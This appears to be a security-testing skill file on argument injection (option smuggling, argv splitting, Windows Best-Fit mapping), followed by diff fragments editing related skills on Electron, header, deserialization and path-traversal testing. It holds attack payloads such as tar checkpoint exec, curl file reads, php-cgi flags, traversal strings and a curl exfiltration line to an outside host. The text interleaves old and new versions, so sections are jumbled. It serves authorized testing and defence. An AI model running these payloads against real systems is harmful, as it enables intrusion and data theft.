# Argument Injection
Use this skill when user-influenced data becomes part of a command's **argument vector**, not a shell string. This is distinct from classic command injection: there may be no shell, no metacharacters, and correct shell-escaping — yet the attacker still controls program behavior by injecting **additional flags/options** or by splitting one argument into several.
Use this skill when attacker-influenced data reaches a trusted command-line program, even when no shell is involved. The security question is whether the input changes the program's **option set, operands, configuration, subcommand, or downstream parser state**.
The core question is never "can I reach a shell?" It is: *does attacker input decide which options, files, or sub-actions a trusted binary performs?* Load `rce` when a shell metacharacter sink is present, and `semantic_confusion` when the injection arises from a normalization/encoding differential between the escaper and the argv consumer.
Load `rce` when a shell parses the command string. Load `semantic_confusion` when validation and the final CLI/filesystem/configuration consumer see different representations.
## Why It Is Missed
## Model Every Parser Boundary
- The code uses a safe API (`execve`, `subprocess.run([...])`, `ProcessBuilder`) with no shell, so command-injection checks pass.
- Each individual argument is correctly quoted/escaped for the shell, but quoting does not stop a value that *starts with `-`* from being parsed as an option.
- The input passes a WAF/validator in one representation, then a later layer (OS, C runtime, wide→ANSI conversion) rewrites it into argv-significant characters.
## Attack Surface
Look for any place a trusted binary is invoked with attacker-influenced values:
- image/media processors: `convert`/ImageMagick, `ffmpeg`, `gs`/Ghostscript, `exiftool`
- VCS and transfer tools: `git`, `svn`, `hg`, `curl`, `wget`, `scp`/`ssh`/`plink`, `rsync`
- archive/crypto/db tools: `tar`, `zip`/`unzip`, `openssl`, `gpg`, `mysql`/`psql`, `sqlite3`
- interpreters/runtimes launched as subprocesses: `php`, `php-cgi`, `python`, `node`, `java`
- mail/report/PDF pipelines, LDAP/`ldapsearch`, `find`/`xargs`, and any `Open With`/handler registration
- CGI/FastCGI query strings mapped onto interpreter argv (e.g. historical `php-cgi` `?-d`/`-s`)
## Two Distinct Primitives
### 1. Option/Flag Injection
A value placed where a *positional* argument is expected but not prefixed-guarded is parsed as an option:
- write primitives: `--output=`, `-o`, `-O`, `--config=`, `-K/--config`, `--upload-file`
- read/exec primitives: `--exec`, `-c`, `-e`, `--use-compress-program=`, `--checkpoint-action=exec=`
- behavior toggles: `--insecure`, `--no-check-certificate`, `-proxy`, `--interactive`
Representative generic PoCs (validate on the specific tool/version — flag names vary):
Build the actual transformation chain:
```text
# curl: turn a fetched "URL" into a file write / local file read
-o/tmp/pwn # write response to a chosen path
file:///etc/passwd # scheme downgrade when scheme is not pinned
# tar: classic exec via checkpoint action
--checkpoint=1 --checkpoint-action=exec=sh\ shell.sh
# git: option-controlled config / hook / upload-pack
-c core.sshCommand=... ext::sh\ -c\ ...
request value
-> application validation
-> argv builder or command-line string serializer
-> OS/process creation API
-> runtime argv construction
-> target option parser
-> response/config/auth file parser, URL parser, or subcommand
```
### 2. Argument Splitting
Do not treat all process APIs alike:
One intended argument becomes several because a separator survives escaping:
- POSIX `execve(path, argv, envp)` and list-form subprocess APIs preserve array-element boundaries. Whitespace inside one element does not create another argument.
- Shell/string forms introduce shell tokenization before the target program sees `argv`.
- Windows process creation commonly serializes an argument array into one command-line string and lets the child runtime parse it back. Quoting rules differ across CRTs and applications.
- Some programs deliberately reparse an argument as a response file, configuration file, URL, expression, template, or nested command language.
- whitespace, `\t`, newline, or NUL that the escaper missed
- quoting that the argv builder collapses differently than the validator expected
- an OS/runtime transformation that *introduces* a separator (see Best-Fit below)
Record the exact API, platform, runtime, target binary/version, option parser, and final `argv` observed by the child.
The result: `["tool", "user-value"]` becomes `["tool", "user", "--evil"]`.
## Primitive 1: Option and Subcommand Injection
## Windows Best-Fit / "WorstFit" Charset Transformation
An attacker-controlled value placed where an operand is expected can be interpreted as an option when it begins with an option prefix:
A critical, widely-missed argument-injection amplifier on Windows. ANSI (`*A`) APIs convert UTF-16 to the process code page using **Best-Fit mapping**, which silently rewrites Unicode look-alikes into argv-significant ASCII *after* validation and escaping have run.
```text
intended: ["tool", USER_VALUE]
supplied: USER_VALUE = "--output=/controlled/path"
actual: tool parses an output option instead of an operand
```
Affected APIs (any of these can undo prior sanitization):
Inventory security-relevant option classes rather than memorizing one payload:
- `GetCommandLineA`, `CommandLineToArgvA`-style parsing, `__argv`/`main(argc, argv)` in ANSI builds
- `GetEnvironmentVariableA`, `getenv`, `GetCurrentDirectoryA`, `getcwd`
- `FindFirstFileA`/`FindNextFileA` and other `*A` filesystem calls
- output, upload, extraction, log, cache, plugin, template, or configuration paths
- alternate URL schemes, proxies, certificates, credentials, and authentication files
- hooks, helpers, filters, interpreters, external programs, or dynamic libraries
- config overrides, environment definitions, working directories, and search paths
- subcommands that expose administrative, import/export, restore, diagnostic, or execution features
Best-Fit turns benign-looking Unicode into delimiters/flags depending on code page:
Check whether the target supports `--` as an end-of-options marker and whether the application places it before the untrusted operand. Do not assume every CLI honors `--`, or that it applies after a subcommand switches to a second parser.
| Attacker sends (Unicode) | Best-Fit result | Effect |
|---|---|---|
| U+00AD soft hyphen | `-` | injects an option where `-` was filtered |
| U+FF0F fullwidth solidus, ¥/₩ (yen/won) | `/` or `\` | path traversal / flag separators |
| U+2033, fullwidth quotes | `"` | breaks out of a quoted argv segment |
| various fullwidth/look-alike letters | ASCII letters | reconstruct filtered keywords |
## Primitive 2: Argument-Boundary Breakout
Consequences seen in research: PHP-CGI argument-injection bypass via soft hyphen, path traversal via yen/won/fullwidth slash, argv splitting despite prior escaping, and env/path confusion in CGI. The invariant: **the bytes validated are not the bytes the program parses.**
Require a component that reparses or reconstructs arguments. Candidate boundaries include:
## Detection and Recon
- shell or command-string construction
- Windows quoting/escaping mismatches between parent and child runtimes
- newline-, NUL-, delimiter-, or quote-sensitive custom launchers
- wrappers that join an array and later split it
- CGI/interpreter mappings that turn request data into command-line options
- Source review: find every `subprocess`/`exec*`/`ProcessBuilder`/`os.popen`/backtick site and check whether any argument is attacker-influenced and whether a leading-`-` guard or `--` terminator precedes it.
- Black-box: submit values beginning with `-`/`--`, embedding whitespace/newline/NUL, and (on Windows targets) Unicode look-alikes for `- / \ "`. Diff behavior, output location, timing, and error text against a clean baseline.
- CGI/interpreter surfaces: probe whether query strings without `=` reach interpreter argv (historical `php-cgi` `?-s`, `?-d allow_url_include=1`).
- Prefer a benign, observable primitive first (write a canary to a tester-owned path, add a no-op flag that changes output verbosity) before any exec flag.
Distinguish these outcomes:
## Safe Validation
```text
["tool", "user --flag"] # one argv element; no split by execve
["tool", "user", "--flag"] # extra argv element reached the target
["tool", "@args.txt"] # one element, then reparsed by the target
```
1. Prove input crosses the argv boundary: show the same value parsed as an option/extra arg vs. treated as a literal positional (paired control).
2. Use the least powerful demonstrable primitive — a verbose/version flag or a write to a tester-owned path — not remote code execution, unless RCE proof is explicitly authorized and contained.
3. For Best-Fit, capture both the submitted Unicode bytes and the ANSI bytes the process actually parsed (e.g. via a logging shim or the tool's own echo of argv), and record the code page.
4. Reproduce on the deployed tool/runtime version; flag names, Best-Fit tables, and CGI behavior are version- and code-page-specific.
Logs often render arrays as strings and can falsely suggest splitting. Capture the child's real arguments through source instrumentation, a wrapper process, debugger, audit trace, `/proc/<pid>/cmdline`, or the platform equivalent.
## Defenses (for remediation notes)
## Primitive 3: Response, Config, and Authentication Files
- Prefix untrusted positional values with `--` (end-of-options) where the tool supports it, or hard-pin every option yourself.
- Reject or normalize leading `-`, whitespace, and NUL in values destined for argv.
- On Windows, use wide-character APIs (`wmain`, `GetCommandLineW`, `*W` calls) and avoid ANSI/Best-Fit conversion entirely.
- Never build argv from user input for security-relevant flags (output paths, config, exec/hook options); pass those as fixed literals.
Many trusted programs consume a second language after argv parsing:
- `@response-file` syntax used by compilers, linkers, JVM tooling, and custom launchers
- `--config`, `-K`, credentials/auth files, include files, and rc/profile paths
- newline-delimited key/value files generated from attacker-controlled fields
- file contents where control characters create a new directive, identity, host, or option
Trace both attacker influence over the **file path** and influence over the **file content**. Correct shell quoting does not protect a file that is later tokenized by a different grammar. Record duplicate-key behavior, newline rules, comments, escaping, include directives, and first/last-value precedence.
## Windows Unicode-to-ANSI Best-Fit
On Windows, narrow-character APIs and CRT startup paths can convert Unicode command-line, environment, or filesystem data into an ANSI code page. Best-Fit mappings may introduce ASCII characters after earlier validation.
Relevant boundaries include:
- `GetCommandLineA` or a narrow `main(int, char **)` startup path
- `GetEnvironmentVariableA`, `GetCurrentDirectoryA`, and narrow filesystem APIs
- framework or native-extension transitions from UTF-16 strings to an ANSI code page
`CommandLineToArgvW` is the documented Windows command-line parser; there is no documented `CommandLineToArgvA`. Determine which CRT or application-specific parser constructs narrow `argv`.
Treat mappings as code-page-specific hypotheses, not universal payloads. Candidate transformations include soft hyphen to `-`, fullwidth/compatibility slash characters to `/` or `\`, and compatibility quotes or letters to ASCII equivalents. Capture:
- submitted Unicode code points and encoded bytes
- active system/process code page
- wide string before conversion
- narrow bytes and final `argv` or filesystem path after conversion
Using wide-character APIs removes this particular conversion boundary but does not fix ordinary option injection.
## Reconnaissance
In source, locate process creation and work forward into the consumer:
```text
exec* posix_spawn subprocess ProcessBuilder Runtime.exec
CreateProcess ShellExecute child_process os/exec Command
```
For each attacker-controlled argument, answer:
1. Is it a distinct argv element or part of a command string?
2. Can it begin with the target's option prefix?
3. Is an end-of-options marker supported and correctly positioned?
4. Does a wrapper, CRT, shell, or target reparse it?
5. Can it select a response/config/auth file or inject directives into one?
6. Which target option or subcommand turns that control into read, write, request, identity, or execution capability?
For black-box testing, compare an ordinary operand with option-prefixed, delimiter-bearing, control-character, and platform-specific Unicode variants. Match tests to options that actually exist in the deployed binary/version.
## Validation
- Show the final `argv` or secondary parser input, not only the application log line.
- Pair the candidate with a control where the same bytes remain a literal operand.
- Demonstrate the exact option, directive, subcommand, path, or handler selected.
- Reproduce against the deployed binary, runtime, code page, and configuration.
- Separate option control, additional-argument control, arbitrary directive control, and command execution; they are different primitives.
## False Positives
- Value is attacker-influenced but the code inserts `--` before it, or validates a strict allowlist (numeric/UUID/enum) that cannot start with `-`.
- A separator appears in logs but the argv builder passes the whole value as one element (verify the real `argv`, not the log line).
- A Unicode character is accepted but the target uses `*W` APIs, so no Best-Fit conversion occurs.
- The injected flag exists but has no security-relevant effect on this tool/version.
- The input is one argv element and the target treats it only as a positional operand.
- `--` is supported, placed before the value, and not bypassed by a subparser.
- A strict allowlist prevents option prefixes and all later transformations preserve it.
- A delimiter appears only in logging or display formatting.
- A response/config path is controllable but its contents or directives are not.
- A Unicode character is accepted but no narrow/Best-Fit conversion occurs.
- The injected option exists on another release or platform but not the deployed target.
## Pro Tips
## Remediation
1. The tell is a trusted binary + user-controlled argument, even with no shell and perfect quoting.
2. Always test a value that simply *starts with a dash*; it is the highest-signal, lowest-effort probe.
3. On Windows, treat `*A` APIs as an escaping-bypass primitive, not a cosmetic detail — Best-Fit runs after your validation.
4. Generalize findings by the primitive class (write / read / exec / behavior toggle), not by the specific flag string.
5. CGI query strings that reach an interpreter's argv are argument injection, not "just LFI."
- Use argument-array process APIs and avoid shell/string construction.
- Insert `--` before untrusted operands where every relevant parser supports it.
- Validate operands against the target CLI's grammar, not a generic shell blacklist.
- Fix security-sensitive option names and configuration paths in trusted code.
- Generate configuration/auth files with a format-aware serializer that rejects control characters and ambiguous duplicates.
- On Windows, keep data in wide-character APIs and verify child-runtime parsing rules.
- Enforce authorization again at the privileged operation selected by the CLI.
## Summary
Argument injection is control of a program's argument vector without needing a shell. Model where untrusted data enters `argv`, test for option smuggling and argument splitting, and remember that Windows Best-Fit conversion can reintroduce `- / \ "` after every validation step. Prove the argv boundary crossing with a paired control and the least powerful primitive.
Argument injection is control of a trusted program's behavior through its argv or a parser reached from argv. Preserve parser boundaries in the model: list-form execution, command-string tokenization, Windows runtime conversion, option parsing, and response/config-file parsing are distinct stages with distinct exploit conditions.
@@ -7,7 +7,7 @@ description: Browser-internals security testing for browsing-context relationshi
Use this skill when exploitability depends on browser behavior beyond a basic HTML injection. Model origins, browsing contexts, navigation history, workers, caches, router decoding, request metadata, and user activation as explicit state.
Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. When the renderer is an Electron/web-tech desktop app with a preload/IPC bridge, load `electron_desktop_apps` navigation and origin transitions there escalate to native capability, not just DOM access.
Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. For an Electron renderer with a preload or IPC bridge, load `electron_desktop_apps` to analyze whether navigation and origin transitions reach native capability.
## Safety Boundary
@@ -1,108 +0,0 @@
---
name: electron-desktop-apps
description: Security testing for Electron and other web-tech desktop apps covering the renderer-to-native trust boundary, preload/IPC bridge exposure, top-level navigation escape, custom protocol/deep-link handlers, auto-update, and node/context isolation misconfiguration
---
# Electron / Web-Tech Desktop Apps
Use this skill when the target is a desktop app built on Electron (or a similar Chromium+Node/webview stack: NW.js, CEF, Tauri-with-Node, wails). These apps look native but much of the UI is web content, so their security model reduces to one question: **which web content is allowed to talk to the native side, and does that trust survive navigation?**
Electron's model is *positional*: native capability follows the window, and it only holds while that window stays on trusted content. Pair `xss` (to get script into the renderer), `browser_security` (context/navigation state machine), `argument_injection` (native subprocess launches), and `insecure_deserialization`/`rce` when a native handler is the final sink.
## Threat Model
The prize is moving attacker-controlled JavaScript into a **preload-bearing (privileged) renderer**, then using the bridge that renderer already has. Full Node integration is *not* required — inheriting an existing IPC bridge is enough.
```text
untrusted content in first-party UI (display name, notification, note title, avatar)
-> renders as live link / injected markup in trusted renderer
-> top-level navigation to attacker origin (bridge NOT dropped)
-> window.electron / ipcInvoke reachable from attacker page
-> privileged IPC channels: session tokens, sqlite port, screenshot/webcam, fs
-> account takeover + local desktop foothold
```
## Recon: Unpack and Map the Native Surface
1. Extract the app bundle: locate and unpack `app.asar` (`npx @electron/asar extract app.asar out/`, or `asar`), or read the plain `resources/app` directory. Grab `package.json` (`main` entry) and the Electron version.
2. Find every `BrowserWindow`/`BrowserView`/`webContents` creation and record its `webPreferences`:
- `nodeIntegration`, `contextIsolation`, `sandbox`, `nodeIntegrationInSubFrames`, `webSecurity`, `allowRunningInsecureContent`, `preload`.
3. Read each `preload` script: what does it expose via `contextBridge.exposeInMainWorld` / on `window`? Is it a **narrow typed API** or a **generic IPC pass-through** (`ipcInvoke`/`ipcSend`/`ipcOn` with caller-chosen channel names)?
4. Inventory `ipcMain.handle`/`ipcMain.on` channels — this is the *real* capability list. Note sensitive ones: session/token get/set, DB key or port, `shell.openExternal`/`openPath`, fs read/write, screenshot/media, child_process/exec, auto-update triggers.
5. Map navigation guards: `setWindowOpenHandler`, and handlers for `will-navigate`, `will-redirect`, `will-attach-webview`, `web-contents-created`. Note custom protocol registration (`protocol.register*`, `app.setAsDefaultProtocolClient`) and deep-link handling (`open-url`, second-instance argv).
## High-Value Weaknesses
### Top-Level Navigation Escape (the crack)
The most impactful and most common gap: apps guard *new windows* (`setWindowOpenHandler` denies popups / routes to system browser) but leave the **primary window's top-level navigation** unguarded. Because the preload bridge is attached to the window — granted once, not per-URL — navigating that window to `https://attacker.example` carries `window.electron` along.
- Test whether any in-app action, link, or redirect can move a preload-bearing window off the trusted origin (`app://`, `file://`, first-party https).
- The correct fix (use as an oracle): deny-by-default on `will-navigate` **and** `will-redirect`, allowlisting only trusted origins and pushing everything else to `shell.openExternal`.
```javascript
webContents.on('will-navigate', (event, url) => {
if (!url.startsWith('app://ui/')) {
event.preventDefault();
if (url.startsWith('https:') || url.startsWith('mailto:')) shell.openExternal(url);
}
});
// Same guard required for 'will-redirect'.
```
### Untrusted Content Rendered as Trusted UI
First-party UI chrome is not automatically trusted input. Display names, activity-feed/notification entries, meeting/note titles, avatars, and chat messages are attacker-writable and can carry markup or markdown links that become the navigation trigger inside the privileged renderer.
- Enumerate every field another user (or a lower-trust source) can control that renders in a privileged window.
- Test link/markup sanitization on *each* surface separately; a body may be guarded while display names are not.
- Watch for encoding bypasses of URL defanging, e.g. **markdown with an HTML-entity-encoded scheme colon** rendering as a live link after raw `javascript:`/`https:` is stripped.
### Generic IPC Pass-Through Bridge
If the preload exposes `ipcInvoke(channel, ...)` with arbitrary channel names, the effective gate is the `ipcMain` handler list, not any renderer-side allowlist (unknown channels merely return "no handler registered"). A compromised renderer can then call any registered channel.
- Enumerate reachable channels from renderer JS; probe sensitive ones (`get-session`, `get-refreshed-access-token`, `set-tokens`, `get-stored-accounts`, `sqlite:port`, screenshot/system).
- Correct design (oracle): a narrow, explicit, typed API with authorization enforced on the **main-process** side, not a channel-name pass-through.
### Node / Context Isolation Misconfiguration
- `nodeIntegration: true` or `contextIsolation: false` on any window that can render remote/untrusted content = direct RCE; check every window, webview, and child frame, not just the main one.
- `sandbox: false` + a leaky preload can expose Node primitives even with contextIsolation on.
- `webview`/`<webview>` tags and `nodeIntegrationInSubFrames` re-open the boundary inside frames.
### Custom Protocols, Deep Links, and Auto-Update
- Custom scheme / deep-link handlers (`myapp://…`, `open-url`, second-instance `argv`) accept OS-level attacker input; test for path traversal, argument injection into a launched process (load `argument_injection`), and navigation into privileged windows.
- Auto-update: verify update feed is HTTPS + signature-checked; an unauthenticated/naively-parsed feed is native RCE.
### Renderer-Exposed Secrets
- Encryption keys must not live in renderer reach. If the app exports a DB key (e.g. **SQLCipher key** stored in IndexedDB / handed to renderer JS), at-rest encryption does not survive renderer compromise. Check what secrets IndexedDB/localStorage/JS globals hold once you have renderer execution.
## Safe Validation
- Run the packaged app under a local Electron runtime in an isolated VM with synthetic accounts/data. Do not exfiltrate real user data.
- Prove the **chain**, not just a finding: "a bridge exists" ≠ "an attacker can reach it." Show injected content → off-origin navigation with `window.electron` still present → a benign privileged IPC call (e.g. a read-only channel returning a canary), captured on video/trace.
- Use the least sensitive channel that demonstrates authority; avoid pulling real tokens or invoking media capture beyond what proves reachability.
- Record Electron version and exact `webPreferences`; behavior and defaults change across major versions.
## False Positives
- `nodeIntegration:false` + `contextIsolation:true` reported as "safe" without checking whether navigation can carry the bridge off-origin.
- A dangerous IPC channel exists but no untrusted content can reach a preload-bearing renderer (no navigation escape, no injection surface).
- `setWindowOpenHandler` present, cited as full coverage, while `will-navigate`/`will-redirect` are unguarded (or vice versa).
- Remote content loaded in a window that genuinely has no preload and no node access.
- A deep-link handler that only routes to in-app views with no argv/navigation/traversal effect.
## Pro Tips
1. Capability follows the window — always ask whether a privileged window can wander off trusted content.
2. Treat every user-writable string that renders in first-party UI as attacker-controlled.
3. The handler list is the real ACL for a generic bridge; enumerate `ipcMain` channels, not the preload's intent.
4. Check *every* window/webview/subframe's `webPreferences`, not just the main window.
5. Severity comes from the full path; a video of one-click injection → retained bridge → privileged call is worth more than a config screenshot.
## Summary
Electron security is positional trust: native capability rides the window and holds only while the window stays on trusted content. Map `webPreferences`, the preload bridge, and `ipcMain` channels; then hunt for a way to get untrusted JS into a preload-bearing renderer — most often an unguarded top-level navigation triggered by attacker-controlled first-party UI. Prove the whole chain with the least powerful privileged call.
@@ -106,15 +106,13 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
- `X-Forwarded-For: 127.0.0.1` to bypass IP allowlists or rate limits keyed on client IP
- `X-Forwarded-Proto: https` to satisfy "HTTPS-only" checks while still using HTTP
- `X-Forwarded-Host: attacker.tld` for the Host-confusion variants above
- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same trust class under different conventions; lead with the variants the observed proxy/CDN stack actually honors, but each one costs a single request, so spraying the whole list against an IP-gated endpoint is cheap
- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same trust class under different conventions; select evidence-supported variants for the observed proxy/CDN stack
- `X-Original-URL` / `X-Rewrite-URL` (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypass
### Content-Type / Encoding Confusion
- Inject `Content-Type: text/html` into an endpoint that returned JSON; browsers may sniff and render → XSS
- Inject `charset=utf-7` in `Content-Type` for XSS via UTF-7-encoded payloads on legacy stacks that still honor it
- Inject `Content-Disposition: inline` to switch a download into in-page rendering
- Inject `Content-Encoding: gzip` without actually compressing — clients decode-fail and may reveal raw response bytes in error paths
- *Absence* of `X-Content-Type-Options: nosniff` is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don't
- Compare MIME validators with browser parsing of duplicate or comma-joined `Content-Type` values. Record first/last valid member behavior and invalid-parameter recovery for each consumer.
@@ -10,13 +10,16 @@ Insecure deserialization passes attacker-controlled byte streams or structured b
## Attack Surface
**Formats**
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo, RMI/JMX
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
- PHP: `unserialize()`, Phar deserialization
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
- Ruby: `Marshal.load`, YAML.load
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
**Transports and Containers**
- Java RMI/JMX, HTTP/RPC endpoints, messaging protocols, queues, signed wrappers, and product-specific binary envelopes can carry one or more formats above
**Input Locations**
- Cookies, session tokens, hidden form fields
- API parameters (`data`, `state`, `object`, base64 blobs)
@@ -58,30 +61,21 @@ yaml.load readObject( TypeNameHandling Marshal.load
```
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
**JNDI Injection (the modern Java pivot)**
**JNDI Pivots from Object Construction**
Many Java sinks do not run a classic ObjectInputStream gadget at all — they coerce a type whose deserialization triggers a **JNDI lookup** to an attacker-controlled URL, which returns a malicious object/factory. This is the mechanism behind `JdbcRowSetImpl`, Fastjson/Jackson polymorphic types, and Log4Shell-style lookups.
JNDI injection is not itself a serialization format. It becomes part of this workflow when an attacker-selected type, setter, or gadget performs `Context.lookup()` during object construction or property population. `JdbcRowSetImpl` and some historical polymorphic JSON chains are examples; Log4j lookups reach JNDI through a different input path and should not be classified as deserialization.
- Trigger types/fields: `dataSourceName`, `jndiName`, `namingURL`, any `Context.lookup()` on user data.
- Endpoints: `ldap://`, `ldaps://`, `rmi://`, `dns://` (DNS is a safe no-exec reachability oracle).
- Post-JEP-290/8u191 hardening blocks remote-codebase class loading, so modern exploitation returns a **local gadget** (e.g. a bean/`BeanFactory`/EL/Groovy invoker already on the classpath) via the LDAP reference instead of a remote class. Fingerprint the JDK/`trustURLCodebase` setting before choosing remote-class vs local-gadget.
- Tooling: a JNDI exploit server (e.g. `marshalsec`/rogue-jndi style LDAP/RMI referral servers) — authorized testing only. Confirm reachability with a `dns://`/LDAP callback first.
- Trace fields such as `dataSourceName`, `jndiName`, and `namingURL` into the exact lookup API and provider.
- Record the accepted schemes/provider factories (`ldap`, `ldaps`, `rmi`, DNS URL context, or application-specific naming providers). A `dns://` value is not a universal oracle; it works only when the relevant DNS provider and lookup path are present.
- Separate network lookup, remote object/reference processing, serialized LDAP attributes, remote codebase loading, and local object-factory invocation. Each is a different capability with different runtime controls.
- JEP 290 filters incoming Java serialization graphs; it does not disable JNDI remote codebase loading. JNDI providers gained separate remote-class-loading and serialized-data controls across JDK updates, and current JDKs disable remote code downloading by default. Record the exact JDK build and relevant provider properties instead of using a single “modern Java” rule.
- When remote class loading is unavailable, test whether the returned reference can reach a compatible **local** `ObjectFactory`, bean-property path, expression engine, script engine, or other class already present. Confirm exact class names, versions, module access, and trigger methods from the deployed classpath.
**Hessian / Burlap**
- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization.
- Common in enterprise middleware and management endpoints reachable only after a proxy/path-confusion bypass — pair `semantic_confusion` when a front proxy is supposed to block the endpoint.
- Typical chains land on the same local invokers below (`JdbcRowSet`→JNDI, `Resin`/`SpringPartiallyComparableAdvisorHolder`, etc.). `marshalsec` generates Hessian/Burlap payloads.
**Local Gadget Invokers (when remote class loading is blocked)**
After a JNDI/Hessian/JSON-typing primitive, exploitation depends on classes already present. Enumerate these generic invokers rather than a vendor-specific file list:
- `org.springframework.beans.factory.support...BeanFactory` / `SimpleJndiBeanFactory`
- `javax.el.ELProcessor` / EL evaluation beans
- `groovy.lang.GroovyShell` / `GroovyClassLoader` and Groovy gadget classes
- `com.sun.rowset.JdbcRowSetImpl` (JNDI), `org.apache.xbean...`, `org.apache.commons.configuration...`
Match the invoker to the fingerprinted classpath; the presence of Spring/Groovy/Tomcat-EL on the path decides which one fires.
- Treat serializer version, allowed type metadata, constructors/setters invoked, collection/comparator behavior, and classpath as independent prerequisites.
- Pair `semantic_confusion` when a proxy or route policy is expected to make the RPC endpoint unreachable.
- Inspect the exact deployed libraries rather than relying on generic gadget labels; similar-looking Spring, Resin, Tomcat, XBean, EL, or Groovy classes are not interchangeable.
### Python Pickle
@@ -187,8 +181,8 @@ When `TypeNameHandling` != `None`.
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
6. Modern Java rarely runs a remote-class gadget — expect JNDI-to-local-gadget; confirm reachability with `dns://`/LDAP before firing a chain
7. A "blocked" enterprise deserialization endpoint may just need a proxy/path-confusion bypass to reach — pair `semantic_confusion`
6. Model JNDI lookup, reference/object processing, remote codebase loading, and local factory invocation as separate stages
7. A "blocked" enterprise deserialization endpoint may still be reachable through a proxy/path-normalization mismatch — pair `semantic_confusion`
## Tooling
@@ -199,7 +193,7 @@ Payload generation is the practitioner's core tool here. The sandbox has `git`/`
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and rogue JNDI (LDAP/RMI) referral servers | Generate non-native Java payloads and stand up a JNDI exploit server. Needs a JRE; authorized testing only. |
| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and JNDI reference tooling | Use only from a reviewed, pinned upstream commit when a non-native Java marshaller requires it. It has no stable release and intentionally bundles historical gadget dependencies; do not treat it as a globally installed default tool. |
```
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
@@ -52,7 +52,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
### Capability Probes
- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`; overlong UTF-8 (`%c0%2e`, `%c0%af`) and Unicode dot/slash lookalikes (``, ``, `%u2215`) only where a conversion layer in the stack maps them to path syntax — send them, but only claim a bypass once you see the converted path in the response or logs
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, and Unicode lookalikes only where a documented conversion layer maps them to path syntax
- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
@@ -82,7 +82,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
### Path Traversal Bypasses
**Encodings**
- Single/double URL-encoding, mixed case, and path normalization oddities; overlong UTF-8 and UTF-16/Unicode conversion (`%u002e`, `%c0%ae`) only when that conversion layer is present in the stack — IIS/legacy .NET, Java on Windows, and some CDN/WAF normalizers are the usual carriers
- Single/double URL-encoding, mixed case, UTF-16 or Unicode conversion only when present in the stack, and path normalization oddities
**Mixed Separators**
- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
+1 -1
View File
@@ -80,7 +80,7 @@ curl https://xyz.oast.fun/$(hostname)
- Break out of quoted segments by alternating quotes and escapes
- Environment expansion: `$PATH`, `${HOME}`, command substitution
- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
- When the sink is a shell-free subprocess (`execve`/`subprocess.run([...])`) with a user-controlled argument, load `argument_injection` — flag smuggling, argv splitting, and Windows Best-Fit conversion apply even with correct shell-escaping
- When a shell-free subprocess (`execve`/`subprocess.run([...])`) receives a user-controlled argument, load `argument_injection` to test option smuggling and any separately identified argv or secondary-parser boundary.
**Path and Builtin Confusion**
- Force absolute paths (`/usr/bin/id`) vs relying on PATH
@@ -83,9 +83,9 @@ The highest-signal condition is `security_check(value_A)` followed by `sink(tran
- Identify names resolved across multiple scopes: local path, environment `PATH`, cache, private registry, public registry, plugin directory, template search path, or autoloader.
- Record lookup order and what happens when the intended entry is missing.
- Compare protected package/module names with exposed command, binary, handler, or alias names. A scoped npm package cannot put `/` in a `bin` key, so `@org/foo-tool` ships the unscoped command `foo-tool` the protected name and the invoked name differ by construction.
- Compare protected package/module names with exposed command, binary, handler, or alias names. For npm, a scoped package can expose an unscoped `bin` name, so the protected package name and invoked executable may differ.
- Treat automatic remote fallback or search-path fallback as an execution boundary.
- Load `supply_chain_name_confusion` when the mismatched representation is a package/command name resolved from a registry; it carries the resolution-order proof and ownership gates for that case.
- Load `npx_confusion` when `npx` or `npm exec` may reinterpret a missing executable as a public package spec.
## Reconnaissance